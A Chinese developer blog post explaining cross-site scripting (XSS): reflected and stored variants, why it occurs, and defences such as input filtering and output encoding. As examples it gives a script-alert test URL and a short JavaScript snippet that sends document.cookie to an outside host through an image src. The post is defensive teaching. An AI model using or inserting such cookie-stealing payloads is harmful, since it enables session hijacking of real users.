你们的系统真的安全吗?你们系统是不是也有这种诡异的情况呢?

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: 这个文章来源灵感是公司的项目在安全检查的时候,发现了很多 SQL 注入的一些问题还有一些 XSS 攻击问题,SQL 注入我们都是比较了解的,那么什么是 XSS 攻击呢?测试反馈给我的时候我是一脸懵逼呀,现在我们就来说一下什么是 XSS 攻击,以及我们怎么防止它的出现。

一、什么是XSS攻击


我当时听到 XSS 攻击的时候是一脸懵,但是,程序员咱们不就是就是解决问题的嘛,于是打开 Chrome ,百度!


百度百科给出的解释是这样的:


XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript ,但实际上也可以包括 Java 、 VBScript 、ActiveX 、 Flash  或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。


XSS 攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列 表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。


二、XSS攻击类型


1. XSS 反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。


其实反射型 XSS ,也叫非持久型 XSS ,是指发生请求时,XSS 代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含 XSS 代码,最后浏览器解析并执行。从概念上可以看出,反射型 XSS 代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后 XSS 代码才能够攻击。


我们看一下 XSS 攻击他是怎么使用 URL 来进行攻击的。


具体流程:


  • 1给2发送一个恶意构造了 Web 的URL。
  • 2点击并查看了这个 URL。
  • 恶意页面中的 JavaScript 打开一个具有漏洞的 HTML 页面并将其安装在2电脑上。
  • 具有漏洞的 HTML 页面包含了在2电脑本地域执行的 JavaScript。
  • 1的恶意脚本可以在2的电脑上执行2所持有的权限下的命令。


举个例子来说就像是这样的,

http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>


2. XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM 系统上也能看到它身影,比如:某 CRM 系统的客户投诉功能上存在 XSS 存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。


而 XSS 存储型攻击,也叫持久型 XSS ,主要是将 XSS 代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上 XSS 代码了。最典型的就是留言板 XSS。用户提交了一条包含 XSS 代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有 XSS 代码,就当做正常的 HTML 和 JS 解析执行。XSS 攻击就发生了。


这种存储型攻击一般就会用来窃取 Cookie,token,账号和密码这样的数据,


就比如说,我们在页面上写内容的时候,A发了一篇文字,B回复的应该是文字才对,这时候B发送了一段文字,并且在内容里面嵌入了JS的代码,这时候B的JS的代码就会执行,比如在里面窃取你的 Cookie 等操作,这些都是有可能存在的。


还有的就是有一些网站,在本应该是图片的地方他加上了Src,在你无意中点击图片的时候,就直接跳转到某个网站下,这些属于其实也是属于XSS攻击的。


就比如说他要获取你的 Cookie:

var i=document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.baidu.com/?c=" + document.cookie


就在图片的后面给你加上了这个获取你 Cookie 的方法,然后你在点击到这个链接的时候,就会把Cookie的信息带出来了。


三、XSS攻击需要有哪些条件


1. 需要向web页面注入恶意代码;


2. 这些恶意代码能够被浏览器成功的执行。


也就是说,一旦满足这条件的时候,就会出现 XSS 攻击这种情况,那么,你的系统安全性将会受到严重的破坏。


四、XSS原理


其实XSS攻击最主要发生的地方就是我们的 HTML 中,因为 HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,<title>与</title> 之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生 XSS 漏洞。


我们说完到底什么是 XSS 攻击之后,我们该说一下到底应该怎么去防范了。


五、如何防止XSS攻击


1.入参字符过滤


比如说把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户提交的的 DOM 属性如 onerror ,移除用户上传的 Style 节点,<iframe>, <script>,<a>节点等


2.出参进行编码


像一些常见的符号,如 <> 在输出的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。例如:对<>做编码如:"<"用:"&lt;",">"用:"&gt;"来代替。


3.入参长度限制


xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。


4.纯前端渲染


纯前端渲染的过程:


(1).浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。


(2).然后浏览器执行 HTML 中的 JavaScript。


(3).JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。


在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。


但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。


在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。


以上就是我想给大家讲述的内容了,如果你们公司的系统还没有做过XSS漏洞检测,那么你就可以适当的把自己的代码修改一下了,毕竟我们不是一点JS代码都不写的,你说呢?


我是懿,一个正在被打击还在努力前进的码农。欢迎大家关注我们的公众号,加入我们的知识星球,我们在知识星球中等着你的加入。


欢迎加入我们的知识星球,一起成长,交流经验。加入方式,长按下方二维码噢

最后,我想重复一句话:选择和一群优秀的人一起成长,你成长的速度绝对会不一样!

相关文章
|
Java 编译器 应用服务中间件
几行代码就可以把系统高崩溃;
几行代码就可以把系统高崩溃;
92 0
|
数据安全/隐私保护
分享五款没什么名气却意外好用的软件
噔噔噔噔,作为一个黑科技软件爱好者,电脑里肯定是不会缺少这方面的东西,今天的5款优质软件闪亮登场了。
162 0
分享五款没什么名气却意外好用的软件
|
Web App开发 运维 安全
印象最深的一个bug——排查修复问题事件BEX引发的谷歌浏览器闪退崩溃异常
本文记录了目前修复的千千万万个项目的BUG中印象最深的一次BUG,由于问题事件BEX引发的谷歌浏览器闪退崩溃的异常问题.这个BUG因为其不可复现性导致特别难以发现和解决,正是由于这一次的BUG解决过程,让我了解到了一位攻城狮在项目开发维护过程中实际经验的重要性,多思考,多实践,多多积累经验,才是一位攻城狮的成长之路.
30733 2
印象最深的一个bug——排查修复问题事件BEX引发的谷歌浏览器闪退崩溃异常
|
缓存 测试技术 数据库
【测试基础理论】卡死我了!这算bug么?(非功能-效率性)
【测试基础理论】卡死我了!这算bug么?(非功能-效率性)
沙箱报错:系统有点儿忙,一会儿再试试
说明 沙箱有定期维护,维护期间如果测试会报错。临时维护也会有类似报错,敬请谅解。  沙箱公告 说明(如下图)访问地址:[url]https://openhome.alipay.com/platform/appDaily.htm?tab=info[/url] 沙箱维护时间 每周日中午12点至每周一中午12点沙箱环境进行维护,期间可能出现不可用。
2987 0
|
Windows 网络协议 安全
对电脑假死现象的修复
解决电脑假死现象 操作步骤 1.先升级机子上的杀毒程序,进行全盘查杀,确保无病毒因素的干扰。 2.点击开始--运行,输入msconfig,进入系统配置界面,把不必要的服务以及启动项关闭,然后重启电脑。
1326 0
|
SQL 关系型数据库 Oracle
|
测试技术
软件为什么总会有bug?
如果你的程序没有bug,只能说明你的程序不够复杂! 地球到月球的距离为39万公里; 假设一张纸的厚度为1mm,可以无限对折; 将纸对折39次就能达到54755.
873 0